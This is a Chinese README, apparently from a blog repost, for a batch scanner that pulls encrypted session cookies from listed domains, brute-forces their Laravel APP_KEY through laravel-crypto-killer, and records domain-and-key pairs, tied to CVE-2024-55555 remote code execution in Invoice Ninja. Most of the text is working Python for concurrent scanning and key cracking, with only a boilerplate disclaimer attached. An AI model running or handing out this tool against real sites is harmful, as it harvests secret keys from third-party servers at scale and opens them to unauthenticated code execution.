Laravel 加密密钥批量扫描与 CVE-2024-55555 漏洞检测工具

Laravel Crypto Killer 批量扫描器

一个高效的批量扫描工具,专门用于检测 Laravel 应用中与 CVE-2024-55555 相关的安全漏洞。该工具通过分析目标站点的加密 Cookie,自动尝试破解 APP_KEY,并验证目标是否存在未认证远程代码执行风险。

功能特性

  • 批量域名扫描 :从 list.txt 读取目标列表,支持高并发检测
  • 智能 Cookie 分析 :自动排除 XSRF-TOKEN,选择最长的 Cookie 值作为加密会话数据
  • 密钥破解集成 :调用 laravel-crypto-killer 进行离线暴力破解,还原 APP_KEY
  • 结果持久化 :成功破解的密钥以 域名|base64:密钥 格式保存至 result.txt
  • CVE-2024-55555 专项检测 :专注于 Invoice Ninja 等 Laravel 应用中因 APP_KEY 泄露导致的 RCE 漏洞

安装指南

系统要求

  • Python 3.6 或更高版本
  • 可访问互联网(用于发送 HTTP 请求)

依赖项安装

bash 复制代码
# 克隆项目
git clone https://github.com/your-repo/laravel-crypto-mass-scanner.git
cd laravel-crypto-mass-scanner

# 安装 Python 依赖
pip install requests

配置 laravel-crypto-killer

本工具依赖 laravel-crypto-killer 进行密钥破解,请先完成其安装:

bash 复制代码
git clone https://github.com/synacktiv/laravel-crypto-killer.git
cd laravel-crypto-killer
pip install -r requirements.txt

注意 :确保 laravel_crypto_killer.py 文件与扫描脚本在同一目录下,或已正确配置系统路径。

准备字典文件

在 laravel-crypto-killer/wordlists/ 目录下准备常用 APP_KEY 字典(格式为 base64: 开头的密钥字符串)。

使用说明

基础用法

  1. 准备目标列表
    创建 list.txt 文件,每行一个域名(无需协议前缀):

    example.com
    invoice.ninja.target.com
    laravel-app.example.org

  2. 运行扫描脚本

bash 复制代码
python3 mass_laravel_crypto_bruteforce.py
  1. 查看结果

成功破解的密钥将输出到终端并保存至 result.txt:

bash 复制代码
[+] Key found for example.com: base64:RR++yb2rJ9kdtbrh3+AmbHLDtu+Q79i++co9Y8ybbno=

核心工作流程

  1. 脚本读取 list.txt 中的域名
  2. 对每个域名发送 HTTP 请求,获取响应中的 Cookies
  3. 排除 XSRF-TOKEN,选择值最长的 Cookie 作为加密会话
  4. 调用 laravel_crypto_killer.py bruteforce 子命令尝试破解
  5. 从破解输出中提取 Key,若成功则保存结果

API 概览

函数名 说明
normalize_url(domain) 为域名添加 https:// 协议前缀
extract_likely_token(cookies) 从 Cookies 中选择最可能的加密令牌
bruteforce_token(token) 调用 laravel-crypto-killer 进行破解
extract_key(output) 从破解输出中提取 base64: 格式的密钥
check_domain(domain) 单个目标检测的完整流程
main() 主函数,支持线程池并发扫描(默认 10 线程)

核心代码

python 复制代码
def extract_likely_token(cookies):
    """
    从响应 Cookies 中提取最可能包含加密数据的令牌。
    排除 XSRF-TOKEN,选择值长度最长的 Cookie。
    """
    token_candidates = {
        k: v for k, v in cookies.items()
        if k.upper() != "XSRF-TOKEN"
    }
    if token_candidates:
        likely = max(token_candidates.items(), key=lambda item: len(item[1]))
        return likely[1]
    return None

2. 密钥暴力破解调用

python 复制代码
def bruteforce_token(token):
    """
    调用 laravel-crypto-killer 工具对令牌进行离线破解。
    执行命令: python3 laravel_crypto_killer.py bruteforce -v <token>
    """
    try:
        cmd = [
            "python3",
            "laravel_crypto_killer.py",
            "bruteforce",
            "-v",
            token
        ]
        result = subprocess.run(cmd, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        return str(e)

3. 结果解析与保存

python 复制代码
def extract_key(output):
    """
    从 laravel-crypto-killer 的输出中提取破解得到的 APP_KEY。
    匹配格式: Key : base64:xxxxxxxx
    """
    match = re.search(r"Key\s*:\s*(base64:[A-Za-z0-9+/=]+)", output)
    return match.group(1) if match else None

def check_domain(domain):
    """
    单个域名的完整检测流程:
    1. 发送请求获取 Cookie
    2. 提取加密令牌
    3. 调用破解工具
    4. 保存成功的密钥到 result.txt
    """
    url = normalize_url(domain)
    response = requests.get(url, headers=headers, timeout=10)
    token = extract_likely_token(response.cookies)
    if token:
        output = bruteforce_token(token)
        key = extract_key(output)
        if key:
            domain_name = urlparse(url).netloc
            with lock:
                with open(result_file, "a") as f:
                    f.write(f"{domain_name}|{key}\n")

4. 并发扫描主函数

python 复制代码
def main():
    with open("list.txt", "r") as f:
        targets = [line.strip() for line in f if line.strip()]

    # 使用线程池实现并发,max_workers 控制并发数
    with ThreadPoolExecutor(max_workers=10) as executor:
        executor.map(check_domain, targets)

关于 CVE-2024-55555

  • 漏洞类型:未认证远程代码执行 (Unauthenticated RCE)
  • 受影响产品:Invoice Ninja 及配置不当的 Laravel 应用
  • 根本原因 :APP_KEY 可被猜测或已知,攻击者可加密恶意 payload 触发反序列化
  • 官方参考 :Synacktiv 安全公告

免责声明

本工具仅用于教育目的和授权安全测试。未经明确许可,严禁对任何系统使用本工具。用户须自行承担因使用本工具造成的一切法律责任。 6HFtX5dABrKlqXeO5PUv/6BpsvITrVoO3TPOqAaF6Oc=

相关推荐
镜象科技6 分钟前
抑郁情绪数字化干预:从“隐蔽的信号“到“看得见的路径“
人工智能
素男9 分钟前
对上的,和没对上的——两篇之间那条链
人工智能·agent·self-becoming·ai长期记忆·ai自我介绍
niuTaylor15 分钟前
飞腾 FT-2000/4 Ubuntu 内存卡 / NVMe SSD 系统制作完整指南
linux·服务器·人工智能·驱动开发·单片机
pusheng202522 分钟前
马年市场快报 | 阿尔及利亚政府推进2200万台家用CO报警器安装计划
大数据·人工智能
2601_9657422233 分钟前
布局GEO AI本地营销,我重点看这几个细节
大数据·人工智能·算法·ai·新媒体运营
EatFan33 分钟前
AI Agent 上生产前先加三道闸门:审批、限权、可回放的工程实践
人工智能·python·算法·多智能体·ai agent·mcp·harness
遥感知识服务41 分钟前
沙漠和洪水在SAR里都很黑,AI到底怎么分?
人工智能
小成很成43 分钟前
Skills:AI 时代必备技能,让大模型从聊天工具变成专业助手
人工智能
yu_zhidun44 分钟前
企业管理者看:员工上网行为管理软件,别再只靠网关“赌安全”
大数据·人工智能·安全·域智盾
-cywen-44 分钟前
MaskCLIP
人工智能